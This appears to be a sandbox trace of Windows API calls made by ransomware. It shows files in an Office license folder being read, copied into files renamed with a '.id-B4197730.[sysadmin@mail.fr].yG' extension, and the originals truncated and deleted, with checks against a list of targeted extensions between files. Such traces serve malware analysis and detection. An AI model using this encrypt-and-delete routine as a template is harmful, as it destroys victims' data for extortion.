	[0169.755] lstrlenW (lpString=".dbf") returned 4
	[0169.755] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0169.755] lstrlenW (lpString=".1cd") returned 4
	[0169.755] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0169.755] lstrlenW (lpString=".jpg") returned 4
	[0169.755] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.757] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11623) returned 1
	[0169.757] CloseHandle (hObject=0x350) returned 1
	[0169.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220
	[0169.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0169.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0169.758] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.758] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0169.759] GetLastError () returned 0x0
	[0169.760] ReadFile (in: hFile=0x350, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2d67, lpOverlapped=0x0) returned 1
	[0169.847] WriteFile (in: hFile=0x550, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0169.852] ReadFile (in: hFile=0x350, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.852] WriteFile (in: hFile=0x550, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x11a, lpOverlapped=0x0) returned 1
	[0169.852] SetEndOfFile (hFile=0x550) returned 1
	[0169.956] CloseHandle (hObject=0x550) returned 1
	[0170.027] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.027] SetEndOfFile (hFile=0x350) returned 1
	[0170.031] CloseHandle (hObject=0x350) returned 1
	[0170.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.032] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms")) returned 1
	[0170.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0170.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0170.034] lstrlenW (lpString=".doc") returned 4
	[0170.034] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.034] lstrlenW (lpString=".docx") returned 5
	[0170.034] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.034] lstrlenW (lpString=".pdf") returned 4
	[0170.034] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.034] lstrlenW (lpString=".xls") returned 4
	[0170.034] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.034] lstrlenW (lpString=".xlsx") returned 5
	[0170.034] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.034] lstrlenW (lpString=".ppt") returned 4
	[0170.034] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0170.034] lstrlenW (lpString=".zip") returned 4
	[0170.034] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.034] lstrlenW (lpString=".rar") returned 4
	[0170.034] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.034] lstrlenW (lpString=".bz2") returned 4
	[0170.035] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.035] lstrlenW (lpString=".7z") returned 3
	[0170.035] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0170.035] lstrlenW (lpString=".dbf") returned 4
	[0170.035] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0170.035] lstrlenW (lpString=".1cd") returned 4
	[0170.035] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0170.035] lstrlenW (lpString=".jpg") returned 4
	[0170.035] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.036] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11621) returned 1
	[0170.036] CloseHandle (hObject=0x350) returned 1
	[0170.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms")) returned 0x220
	[0170.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0170.037] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.037] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0170.038] GetLastError () returned 0x0
	[0170.038] ReadFile (in: hFile=0x350, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2d65, lpOverlapped=0x0) returned 1
	[0170.040] WriteFile (in: hFile=0x56c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0170.042] ReadFile (in: hFile=0x350, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.042] WriteFile (in: hFile=0x56c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x11a, lpOverlapped=0x0) returned 1
	[0170.042] SetEndOfFile (hFile=0x56c) returned 1
	[0170.042] CloseHandle (hObject=0x56c) returned 1
	[0170.042] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.042] SetEndOfFile (hFile=0x350) returned 1
	[0170.047] CloseHandle (hObject=0x350) returned 1
	[0170.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms")) returned 1
	[0170.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0170.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0170.049] lstrlenW (lpString=".doc") returned 4
	[0170.049] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.049] lstrlenW (lpString=".docx") returned 5
	[0170.049] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.049] lstrlenW (lpString=".pdf") returned 4
	[0170.049] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.049] lstrlenW (lpString=".xls") returned 4
	[0170.050] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.050] lstrlenW (lpString=".xlsx") returned 5
	[0170.050] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.050] lstrlenW (lpString=".ppt") returned 4
	[0170.050] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0170.050] lstrlenW (lpString=".zip") returned 4
	[0170.050] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.050] lstrlenW (lpString=".rar") returned 4
	[0170.050] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.050] lstrlenW (lpString=".bz2") returned 4
	[0170.050] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.050] lstrlenW (lpString=".7z") returned 3
	[0170.050] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0170.050] lstrlenW (lpString=".dbf") returned 4
	[0170.050] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0170.050] lstrlenW (lpString=".1cd") returned 4
	[0170.050] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0170.050] lstrlenW (lpString=".jpg") returned 4
	[0170.050] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.051] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=9613) returned 1
	[0170.051] CloseHandle (hObject=0x350) returned 1
	[0170.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms")) returned 0x220
	[0170.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0170.052] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.052] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0170.053] GetLastError () returned 0x0
	[0170.053] ReadFile (in: hFile=0x350, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x258d, lpOverlapped=0x0) returned 1
	[0170.057] WriteFile (in: hFile=0x56c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2590, lpOverlapped=0x0) returned 1
	[0170.062] ReadFile (in: hFile=0x350, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.062] WriteFile (in: hFile=0x56c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x112, lpOverlapped=0x0) returned 1
	[0170.062] SetEndOfFile (hFile=0x56c) returned 1
	[0170.063] CloseHandle (hObject=0x56c) returned 1
	[0170.063] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.063] SetEndOfFile (hFile=0x350) returned 1
	[0170.066] CloseHandle (hObject=0x350) returned 1
	[0170.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.067] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms")) returned 1
	[0170.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0170.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0170.068] lstrlenW (lpString=".doc") returned 4
	[0170.068] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.068] lstrlenW (lpString=".docx") returned 5
	[0170.068] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.068] lstrlenW (lpString=".pdf") returned 4
	[0170.068] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.068] lstrlenW (lpString=".xls") returned 4
	[0170.068] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.068] lstrlenW (lpString=".xlsx") returned 5
	[0170.068] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.068] lstrlenW (lpString=".ppt") returned 4
	[0170.068] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0170.069] lstrlenW (lpString=".zip") returned 4
	[0170.069] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.069] lstrlenW (lpString=".rar") returned 4
	[0170.069] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.069] lstrlenW (lpString=".bz2") returned 4
	[0170.069] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.138] lstrlenW (lpString=".7z") returned 3
	[0170.138] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0170.138] lstrlenW (lpString=".dbf") returned 4
	[0170.138] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0170.138] lstrlenW (lpString=".1cd") returned 4
	[0170.138] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0170.138] lstrlenW (lpString=".jpg") returned 4
	[0170.138] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.139] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=26462) returned 1
	[0170.139] CloseHandle (hObject=0x574) returned 1
	[0170.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms")) returned 0x220
	[0170.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0170.140] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.140] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0170.209] GetLastError () returned 0x0
	[0170.209] ReadFile (in: hFile=0x574, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x675e, lpOverlapped=0x0) returned 1
	[0170.246] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x6760, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x6760, lpOverlapped=0x0) returned 1
	[0170.247] ReadFile (in: hFile=0x574, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.247] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x104, lpOverlapped=0x0) returned 1
	[0170.247] SetEndOfFile (hFile=0x51c) returned 1
	[0170.248] CloseHandle (hObject=0x51c) returned 1
	[0170.248] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.248] SetEndOfFile (hFile=0x574) returned 1
	[0170.253] CloseHandle (hObject=0x574) returned 1
	[0170.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.254] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms")) returned 1
	[0170.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0170.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0170.255] lstrlenW (lpString=".doc") returned 4
	[0170.255] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.255] lstrlenW (lpString=".docx") returned 5
	[0170.256] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.256] lstrlenW (lpString=".pdf") returned 4
	[0170.256] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.256] lstrlenW (lpString=".xls") returned 4
	[0170.256] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.256] lstrlenW (lpString=".xlsx") returned 5
	[0170.256] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.256] lstrlenW (lpString=".ppt") returned 4
	[0170.256] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0170.256] lstrlenW (lpString=".zip") returned 4
	[0170.256] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.256] lstrlenW (lpString=".rar") returned 4
	[0170.256] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.257] lstrlenW (lpString=".bz2") returned 4
	[0170.258] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.260] lstrlenW (lpString=".7z") returned 3
	[0170.261] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0170.261] lstrlenW (lpString=".dbf") returned 4
	[0170.261] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0170.261] lstrlenW (lpString=".1cd") returned 4
	[0170.261] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0170.261] lstrlenW (lpString=".jpg") returned 4
	[0170.261] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.262] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11167) returned 1
	[0170.262] CloseHandle (hObject=0x574) returned 1
	[0170.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms")) returned 0x220
	[0170.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
